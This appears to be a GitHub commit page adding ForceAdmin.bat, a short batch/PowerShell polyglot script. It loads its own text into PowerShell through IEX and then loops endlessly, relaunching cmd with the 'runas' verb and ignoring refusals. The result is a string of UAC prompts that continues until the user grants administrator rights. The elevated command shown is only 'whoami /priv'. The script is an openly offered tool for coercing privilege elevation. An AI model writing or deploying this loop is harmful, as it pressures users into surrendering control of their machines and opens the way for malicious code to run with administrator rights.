Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Chainski authored Dec 21, 2022
1 parent 6dd13dc commit 537d922
Showing 1 changed file with 10 additions and 0 deletions.
10 changes: 10 additions & 0 deletions ForceAdmin.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
<# :batch script
:: https://github.com/Chainski/ForceAdmin
@echo off
setlocal
cd %~dp0
powershell -ep remotesigned -Command "IEX $([System.IO.File]::ReadAllText('%~f0'))"
endlocal
goto:eof
#>
while($true){try{Start-Process 'cmd' -Verb runas -ArgumentList 'cmd /k whoami /priv';exit}catch{}}

0 comments on commit 537d922

Please sign in to comment.